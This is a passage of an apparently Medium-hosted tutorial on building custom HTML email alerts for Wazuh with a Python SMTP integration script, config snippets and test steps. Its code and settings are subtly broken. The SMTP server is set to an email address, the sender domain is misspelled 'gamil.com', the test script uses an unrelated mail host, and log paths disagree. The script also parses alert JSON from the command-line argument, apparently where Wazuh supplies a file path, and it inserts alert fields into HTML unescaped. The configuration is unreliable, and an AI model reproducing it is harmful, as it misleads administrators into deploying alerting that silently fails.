&lt;div class=&quot;rule-description&quot;&gt;{{RULE_DESCRIPTION}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                &lt;/div&gt;<br>                <br>                &lt;!-- Agent Information --&gt;<br>                &lt;div class=&quot;section&quot;&gt;<br>                    &lt;div class=&quot;section-title&quot;&gt;Source Information&lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Agent Name:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{AGENT_NAME}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Agent ID:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{AGENT_ID}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Agent IP:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{AGENT_IP}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Status:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;<br>                            &lt;span class=&quot;agent-status agent-{{AGENT_STATUS}}&quot;&gt;{{AGENT_STATUS_TEXT}}&lt;/span&gt;<br>                        &lt;/div&gt;<br>                    &lt;/div&gt;<br>                &lt;/div&gt;<br>                <br>                &lt;!-- Alert Details --&gt;<br>                &lt;div class=&quot;section&quot;&gt;<br>                    &lt;div class=&quot;section-title&quot;&gt;Alert Details&lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Alert ID:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{ALERT_ID}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Category:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{CATEGORY}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Event Source:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{EVENT_SOURCE}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                    {{#if LOG_FILE}}<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Log File:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{LOG_FILE}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                    {{/if}}<br>                &lt;/div&gt;<br>                <br>                &lt;!-- Additional Context (if available) --&gt;<br>                {{#if ADDITIONAL_DATA}}<br>                &lt;div class=&quot;section&quot;&gt;<br>                    &lt;div class=&quot;section-title&quot;&gt;Additional Information&lt;/div&gt;<br>                    &lt;div class=&quot;detail-row&quot;&gt;<br>                        &lt;div class=&quot;detail-label&quot;&gt;Details:&lt;/div&gt;<br>                        &lt;div class=&quot;detail-value&quot;&gt;{{ADDITIONAL_DATA}}&lt;/div&gt;<br>                    &lt;/div&gt;<br>                &lt;/div&gt;<br>                {{/if}}<br>                <br>                &lt;!-- Action --&gt;<br>                &lt;div style=&quot;text-align: center; margin: 30px 0;&quot;&gt;<br>                    &lt;a href=&quot;{{WAZUH_DASHBOARD_URL}}&quot; class=&quot;action-button&quot;&gt;View in Wazuh Dashboard&lt;/a&gt;<br>                &lt;/div&gt;<br>                <br>            &lt;/td&gt;<br>        &lt;/tr&gt;<br>        <br>        &lt;!-- Footer --&gt;<br>        &lt;tr&gt;<br>            &lt;td class=&quot;email-footer&quot;&gt;<br>                &lt;p&gt;This is an automated security alert from Wazuh. Please do not reply to this email.&lt;/p&gt;<br>                &lt;p&gt;{{WAZUH_SERVER}} • {{ORGANIZATION_NAME}}&lt;/p&gt;<br>                &lt;p style=&quot;margin-top: 10px; color: #999;&quot;&gt;Alert ID: {{ALERT_ID}}&lt;/p&gt;<br>            &lt;/td&gt;<br>        &lt;/tr&gt;<br>    &lt;/table&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h3>Create Python Integration Script</h3><pre>sudo nano /var/ossec/integrations/custom_email_integration.py</pre><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>Wazuh Custom Email Integration<br>Sends alerts with custom HTML email templates via SMTP<br>&quot;&quot;&quot;<br><br>import sys<br>import json<br>import smtplib<br>import logging<br>from email.mime.text import MIMEText<br>from email.mime.multipart import MIMEMultipart<br>from datetime import datetime<br>from pathlib import Path<br><br># Configuration<br>SMTP_SERVER = &quot;test@gmail.com&quot;<br>SMTP_PORT = 587<br>SMTP_USERNAME = &quot;wazuhalerts@gmail.com&quot;<br>SMTP_PASSWORD = &quot;APP_PASSWORD&quot;  # Use environment variable in production<br>EMAIL_TO = &quot;example@gmail.com&quot;<br>EMAIL_FROM = &quot;wazuhalerts@gmail.com&quot;<br>WAZUH_DASHBOARD_URL = &quot;https://your-wazuh-dashboard-ip:443&quot;  # Update this<br>ORGANIZATION_NAME = &quot;Your Organization&quot;<br>TEMPLATE_FILE = &quot;/var/ossec/integrations/wazuh_alert_template.html&quot;<br><br># Logging setup<br>logging.basicConfig(<br>    level=logging.INFO,<br>    format=&#39;%(asctime)s - %(levelname)s - %(message)s&#39;,<br>    handlers=[<br>        logging.FileHandler(&#39;/var/ossec/logs/custom_email_integration.log&#39;),<br>        logging.StreamHandler()<br>    ]<br>)<br>logger = logging.getLogger(__name__)<br><br><br>class WazuhEmailAlert:<br>    &quot;&quot;&quot;Handle Wazuh alert email generation and sending&quot;&quot;&quot;<br>    <br>    SEVERITY_MAPPING = {<br>        &#39;CRITICAL&#39;: (&#39;critical&#39;, &#39;#ff4444&#39;),<br>        &#39;HIGH&#39;: (&#39;high&#39;, &#39;#ff9800&#39;),<br>        &#39;MEDIUM&#39;: (&#39;medium&#39;, &#39;#ffc107&#39;),<br>        &#39;LOW&#39;: (&#39;low&#39;, &#39;#4caf50&#39;),<br>        &#39;INFO&#39;: (&#39;info&#39;, &#39;#2196F3&#39;),<br>    }<br>    <br>    def __init__(self, alert_json):<br>        &quot;&quot;&quot;Initialize with alert data&quot;&quot;&quot;<br>        self.alert = alert_json<br>        self.template = self.load_template()<br>        <br>    def load_template(self):<br>        &quot;&quot;&quot;Load HTML template&quot;&quot;&quot;<br>        try:<br>            with open(TEMPLATE_FILE, &#39;r&#39;, encoding=&#39;utf-8&#39;) as f:<br>                return f.read()<br>        except FileNotFoundError:<br>            logger.warning(f&quot;Template not found at {TEMPLATE_FILE}, using fallback&quot;)<br>            return self.get_fallback_template()<br>    <br>    def get_severity_class(self, severity=None):<br>        &quot;&quot;&quot;Get severity class for styling&quot;&quot;&quot;<br>        if not severity:<br>            severity = self.get_rule_level()<br>        <br>        if int(severity) &gt;= 10:<br>            return &#39;critical&#39;<br>        elif int(severity) &gt;= 8:<br>            return &#39;high&#39;<br>        elif int(severity) &gt;= 5:<br>            return &#39;medium&#39;<br>        else:<br>            return &#39;low&#39;<br>    <br>    def get_severity_level(self):<br>        &quot;&quot;&quot;Extract severity level from alert&quot;&quot;&quot;<br>        level = self.alert.get(&#39;rule&#39;, {}).get(&#39;level&#39;, &#39;5&#39;)<br>        level_int = int(level)<br>        <br>        if level_int &gt;= 10:<br>            return &#39;CRITICAL&#39;<br>        elif level_int &gt;= 8:<br>            return &#39;HIGH&#39;<br>        elif level_int &gt;= 5:<br>            return &#39;MEDIUM&#39;<br>        else:<br>            return &#39;LOW&#39;<br>    <br>    def get_rule_level(self):<br>        &quot;&quot;&quot;Get numeric rule level&quot;&quot;&quot;<br>        return str(self.alert.get(&#39;rule&#39;, {}).get(&#39;level&#39;, &#39;5&#39;))<br>    <br>    def extract_agent_info(self):<br>        &quot;&quot;&quot;Extract agent information&quot;&quot;&quot;<br>        agent = self.alert.get(&#39;agent&#39;, {})<br>        return {<br>            &#39;name&#39;: agent.get(&#39;name&#39;, &#39;Unknown&#39;),<br>            &#39;id&#39;: agent.get(&#39;id&#39;, &#39;N/A&#39;),<br>            &#39;ip&#39;: agent.get(&#39;ip&#39;, &#39;N/A&#39;),<br>        }<br>    <br>    def extract_rule_info(self):<br>        &quot;&quot;&quot;Extract rule information&quot;&quot;&quot;<br>        rule = self.alert.get(&#39;rule&#39;, {})<br>        return {<br>            &#39;id&#39;: rule.get(&#39;id&#39;, &#39;N/A&#39;),<br>            &#39;level&#39;: rule.get(&#39;level&#39;, &#39;N/A&#39;),<br>            &#39;description&#39;: rule.get(&#39;description&#39;, &#39;No description available&#39;),<br>            &#39;groups&#39;: &#39;, &#39;.join(rule.get(&#39;groups&#39;, [])),<br>        }<br>    <br>    def get_alert_title(self):<br>        &quot;&quot;&quot;Generate alert title&quot;&quot;&quot;<br>        rule = self.alert.get(&#39;rule&#39;, {})<br>        return rule.get(&#39;description&#39;, &#39;Security Alert&#39;)<br>    <br>    def format_timestamp(self):<br>        &quot;&quot;&quot;Format alert timestamp&quot;&quot;&quot;<br>        timestamp = self.alert.get(&#39;timestamp&#39;, &#39;&#39;)<br>        try:<br>            dt = datetime.fromisoformat(timestamp.replace(&#39;Z&#39;, &#39;+00:00&#39;))<br>            return dt.strftime(&#39;%Y-%m-%d %H:%M:%S %Z&#39;)<br>        except:<br>            return timestamp<br>    <br>    def render_template(self):<br>        &quot;&quot;&quot;Render HTML template with alert data&quot;&quot;&quot;<br>        html = self.template<br>        <br>        # Agent info<br>        agent_info = self.extract_agent_info()<br>        rule_info = self.extract_rule_info()<br>        <br>        # Template variables<br>        replacements = {<br>            &#39;{{SEVERITY_CLASS}}&#39;: self.get_severity_class(),<br>            &#39;{{SEVERITY_LEVEL}}&#39;: self.get_severity_level(),<br>            &#39;{{ALERT_TITLE}}&#39;: self.get_alert_title(),<br>            &#39;{{TIMESTAMP}}&#39;: self.format_timestamp(),<br>            &#39;{{RULE_ID}}&#39;: str(rule_info[&#39;id&#39;]),<br>            &#39;{{RULE_LEVEL}}&#39;: str(rule_info[&#39;level&#39;]),<br>            &#39;{{RULE_DESCRIPTION}}&#39;: rule_info[&#39;description&#39;],<br>            &#39;{{AGENT_NAME}}&#39;: agent_info[&#39;name&#39;],<br>            &#39;{{AGENT_ID}}&#39;: agent_info[&#39;id&#39;],<br>            &#39;{{AGENT_IP}}&#39;: agent_info[&#39;ip&#39;],<br>            &#39;{{AGENT_STATUS}}&#39;: &#39;active&#39;,  # You can enhance this<br>            &#39;{{AGENT_STATUS_TEXT}}&#39;: &#39;Active&#39;,<br>            &#39;{{ALERT_ID}}&#39;: str(self.alert.get(&#39;id&#39;, &#39;N/A&#39;)),<br>            &#39;{{CATEGORY}}&#39;: rule_info[&#39;groups&#39;],<br>            &#39;{{EVENT_SOURCE}}&#39;: self.alert.get(&#39;location&#39;, &#39;N/A&#39;),<br>            &#39;{{LOG_FILE}}&#39;: self.alert.get(&#39;log&#39;, {}).get(&#39;file&#39;, &#39;N/A&#39;),<br>            &#39;{{ADDITIONAL_DATA}}&#39;: json.dumps(self.alert.get(&#39;data&#39;, {}), indent=2),<br>            &#39;{{WAZUH_DASHBOARD_URL}}&#39;: WAZUH_DASHBOARD_URL,<br>            &#39;{{WAZUH_SERVER}}&#39;: self.alert.get(&#39;manager&#39;, {}).get(&#39;name&#39;, &#39;Wazuh Server&#39;),<br>            &#39;{{ORGANIZATION_NAME}}&#39;: ORGANIZATION_NAME,<br>        }<br>        <br>        # Remove conditional blocks if data not available<br>        if not self.alert.get(&#39;log&#39;, {}).get(&#39;file&#39;):<br>            html = self._remove_conditional_block(html, &#39;LOG_FILE&#39;)<br>        <br>        if not self.alert.get(&#39;data&#39;):<br>            html = self._remove_conditional_block(html, &#39;ADDITIONAL_DATA&#39;)<br>        <br>        # Replace all variables<br>        for key, value in replacements.items():<br>            html = html.replace(key, str(value))<br>        <br>        return html<br>    <br>    @staticmethod<br>    def _remove_conditional_block(html, condition):<br>        &quot;&quot;&quot;Remove conditional blocks from template&quot;&quot;&quot;<br>        import re<br>        pattern = rf&#39;{{{{#if {condition}}}}}.*?{{{{/if}}}}&#39;<br>        return re.sub(pattern, &#39;&#39;, html, flags=re.DOTALL)<br>    <br>    def send_email(self, recipient=None):<br>        &quot;&quot;&quot;Send email with rendered template&quot;&quot;&quot;<br>        if not recipient:<br>            recipient = EMAIL_TO<br>        <br>        try:<br>            # Render template<br>            html_body = self.render_template()<br>            <br>            # Create message<br>            message = MIMEMultipart(&#39;alternative&#39;)<br>            message[&#39;Subject&#39;] = f&quot;[Wazuh Alert] {self.get_alert_title()[:60]}&quot;<br>            message[&#39;From&#39;] = EMAIL_FROM<br>            message[&#39;To&#39;] = recipient<br>            message[&#39;Date&#39;] = datetime.utcnow().strftime(&#39;%a, %d %b %Y %H:%M:%S +0000&#39;)<br>            <br>            # Plain text fallback<br>            text_body = self._generate_text_body()<br>            message.attach(MIMEText(text_body, &#39;plain&#39;, &#39;utf-8&#39;))<br>            <br>            # HTML body<br>            message.attach(MIMEText(html_body, &#39;html&#39;, &#39;utf-8&#39;))<br>            <br>            # Send via SMTP<br>            with smtplib.SMTP(SMTP_SERVER, SMTP_PORT) as server:<br>                server.starttls()<br>                server.login(SMTP_USERNAME, SMTP_PASSWORD)<br>                server.send_message(message)<br>            <br>            logger.info(f&quot;Alert email sent successfully to {recipient}&quot;)<br>            return True<br>            <br>        except Exception as e:<br>            logger.error(f&quot;Failed to send alert email: {str(e)}&quot;, exc_info=True)<br>            return False<br>    <br>    def _generate_text_body(self):<br>        &quot;&quot;&quot;Generate plain text version for email clients that don&#39;t support HTML&quot;&quot;&quot;<br>        agent_info = self.extract_agent_info()<br>        rule_info = self.extract_rule_info()<br>        <br>        text = f&quot;&quot;&quot;<br>Wazuh Security Alert<br>{&#39;-&#39; * 50}<br><br>SEVERITY: {self.get_severity_level()}<br>Timestamp: {self.format_timestamp()}<br><br>RULE DETAILS:<br>Rule ID: {rule_info[&#39;id&#39;]} (Level: {rule_info[&#39;level&#39;]})<br>Description: {rule_info[&#39;description&#39;]}<br>Categories: {rule_info[&#39;groups&#39;]}<br><br>AGENT INFORMATION:<br>Agent Name: {agent_info[&#39;name&#39;]}<br>Agent ID: {agent_info[&#39;id&#39;]}<br>Agent IP: {agent_info[&#39;ip&#39;]}<br><br>ALERT DETAILS:<br>Alert ID: {self.alert.get(&#39;id&#39;, &#39;N/A&#39;)}<br>Event Source: {self.alert.get(&#39;location&#39;, &#39;N/A&#39;)}<br><br>View full details at: {WAZUH_DASHBOARD_URL}<br><br>{&#39;-&#39; * 50}<br>This is an automated security alert from Wazuh.<br>Please do not reply to this email.<br>        &quot;&quot;&quot;.strip()<br>        <br>        return text<br>    <br>    def get_fallback_template(self):<br>        &quot;&quot;&quot;Return a basic HTML template if file not found&quot;&quot;&quot;<br>        return &quot;&quot;&quot;<br>&lt;html&gt;<br>&lt;body style=&quot;font-family: Arial, sans-serif; color: #333;&quot;&gt;<br>    &lt;h2&gt;Wazuh Security Alert&lt;/h2&gt;<br>    &lt;p&gt;&lt;strong&gt;Template file not found.&lt;/strong&gt; Please verify the template location.&lt;/p&gt;<br>    &lt;p&gt;Alert ID: {{ALERT_ID}}&lt;/p&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>        &quot;&quot;&quot;<br><br><br>def main():<br>    &quot;&quot;&quot;Main entry point for Wazuh integration&quot;&quot;&quot;<br>    <br>    if len(sys.argv) &lt; 2:<br>        logger.error(&quot;No alert data provided&quot;)<br>        sys.exit(1)<br>    <br>    try:<br>        # Parse alert JSON from stdin or argument<br>        alert_json = json.loads(sys.argv[1])<br>        <br>        # Create alert handler and send email<br>        alert_handler = WazuhEmailAlert(alert_json)<br>        success = alert_handler.send_email()<br>        <br>        sys.exit(0 if success else 1)<br>        <br>    except json.JSONDecodeError as e:<br>        logger.error(f&quot;Invalid JSON alert data: {str(e)}&quot;)<br>        sys.exit(1)<br>    except Exception as e:<br>        logger.error(f&quot;Unexpected error: {str(e)}&quot;, exc_info=True)<br>        sys.exit(1)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>Permission and ownership</h3><pre>sudo chmod 750 /var/ossec/integrations/custom_email_integration.py<br>sudo chmod 644 /var/ossec/integrations/wazuh_alert_template.html<br>sudo chown root:wazuh /var/ossec/integrations/custom_email_integration.py<br>sudo chown root:wazuh /var/ossec/integrations/wazuh_alert_template.html</pre><h3>Step 2: Configure SMTP in Python Script</h3><p>Update your email configuration:</p><pre>SMTP_SERVER = &quot;test@gmail.com&quot;<br>SMTP_PORT = 587<br>SMTP_USERNAME = &quot;wazuhalerts@gmail.com&quot;<br>SMTP_PASSWORD = &quot;YOUR_APP_PASSWORD&quot;<br>EMAIL_TO = &quot;your-email@example.com&quot;<br>EMAIL_FROM = &quot;wazuhalerts@gamil.com&quot;<br>WAZUH_DASHBOARD_URL = &quot;https://your-server-ip:443&quot;<br>ORGANIZATION_NAME = &quot;Your Organization&quot;</pre><h3>Pro Tip: Use Environment Variables</h3><p>Avoid hardcoding passwords:</p><pre>import os<br>SMTP_PASSWORD = os.getenv(&#39;WAZUH_SMTP_PASSWORD&#39;)</pre><h3>Step 3: Register Integration in Wazuh</h3><p>Edit:</p><pre>/var/ossec/etc/ossec.conf</pre><p>Add:</p><pre>&lt;integration&gt;<br>  &lt;name&gt;custom_email_integration&lt;/name&gt;<br>  &lt;alert_format&gt;json&lt;/alert_format&gt;<br>  &lt;rule_id&gt;100101,100102,100204,19004&lt;/rule_id&gt;<br>  &lt;group&gt;trivy,sca,authentication&lt;/group&gt;<br>&lt;/integration&gt;</pre><h3>Step 4: Enable Email Settings</h3><p>Inside the &lt;global&gt; section:</p><pre>&lt;email_notification&gt;yes&lt;/email_notification&gt;<br>&lt;smtp_server&gt;test@gmail.com&lt;/smtp_server&gt;<br>&lt;email_from&gt;wazuhalerts@gmail.com&lt;/email_from&gt;<br>&lt;email_to&gt;your-email@example.com&lt;/email_to&gt;</pre><p>Also configure alert levels:</p><pre>&lt;alerts&gt;<br>  &lt;log_alert_level&gt;3&lt;/log_alert_level&gt;<br>  &lt;email_alert_level&gt;7&lt;/email_alert_level&gt;<br>&lt;/alerts&gt;</pre><h3>Step 5: Verify Python Setup</h3><pre>python3 --version<br>python3 /var/ossec/integrations/custom_email_integration.py</pre><p>Expected output:</p><pre>No alert data provided</pre><h3>Step 6: Test SMTP Connection</h3><p>Create a quick test script:</p><pre>import smtplib<br>from email.mime.text import MIMEText</pre><pre>server = smtplib.SMTP(&quot;webmail.icfoss.org&quot;, 587)<br>server.starttls()<br>server.login(&quot;wazuhalerts@gmail.com&quot;, &quot;PASSWORD&quot;)</pre><pre>msg = MIMEText(&quot;Test email&quot;)<br>msg[&#39;Subject&#39;] = &quot;Wazuh Test&quot;<br>msg[&#39;From&#39;] = &quot;wazuhalerts@gmail.com&quot;<br>msg[&#39;To&#39;] = &quot;your-email@example.com&quot;</pre><pre>server.send_message(msg)<br>server.quit()</pre><h3>Step 7: Restart Wazuh</h3><pre>sudo /var/ossec/bin/wazuh-control restart<br>sudo /var/ossec/bin/wazuh-control status</pre><p>Monitor logs:</p><pre>tail -f /var/ossec/logs/alerts.log<br>tail -f /var/log/wazuh/custom_email_integration.log</pre><h3>Testing the Integration</h3><h4>Test with Sample Alert</h4><pre>python3 /var/ossec/integrations/custom_email_integration.py &#39;{&quot;rule&quot;:{&quot;id&quot;:&quot;5502&quot;,&quot;level&quot;:&quot;7&quot;,&quot;description&quot;:&quot;Test Alert&quot;}}&#39;</pre><h4>Trigger Real Alert</h4><pre>sshpass -p &quot;wrong_password&quot; ssh user@localhost</pre><h3><strong>Conclusion</strong></h3><p>Implementing custom HTML email alerts in Wazuh significantly improves how security events are communicated and handled. Instead of relying on basic, hard-to-read notifications, you gain <strong>clear, structured, and visually appealing alerts</strong> that help teams respond faster and more effectively.</p><p>By combining Wazuh’s powerful detection capabilities with a Python-based integration, you can fully control how alerts are formatted, routed, and delivered. This not only enhances visibility but also aligns alerting with your organization’s workflow and branding.</p><p>In the long run, this setup helps reduce alert fatigue, improves incident response efficiency, and creates a more professional and scalable security monitoring system.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42120275bc91" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>